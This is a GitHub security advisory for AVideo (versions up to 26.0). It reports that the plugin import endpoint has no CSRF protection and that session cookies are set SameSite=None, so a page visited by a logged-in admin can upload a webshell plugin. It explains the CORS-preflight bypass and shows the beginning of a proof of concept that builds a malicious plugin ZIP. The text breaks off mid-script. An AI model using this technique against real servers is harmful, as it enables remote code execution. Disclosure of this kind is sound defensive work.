GitHub Security Advisory: GHSA-hv36-p4w4-6vmj
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

Details:
## Summary

The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

## Details

The root cause has two components working together:

**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**

```php
if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}
```

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**

```php
if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}
```

The endpoint only checks `User::isAdmin()` via the session. There is:
- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)
- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)
- No `Referer` or `Origin` header validation
- No requirement for custom headers (e.g., `X-Requested-With`)

The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype="multipart/form-data">` with a file input.

**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective.

**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.

## PoC

**Step 1: Create the malicious plugin ZIP**

```bash
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"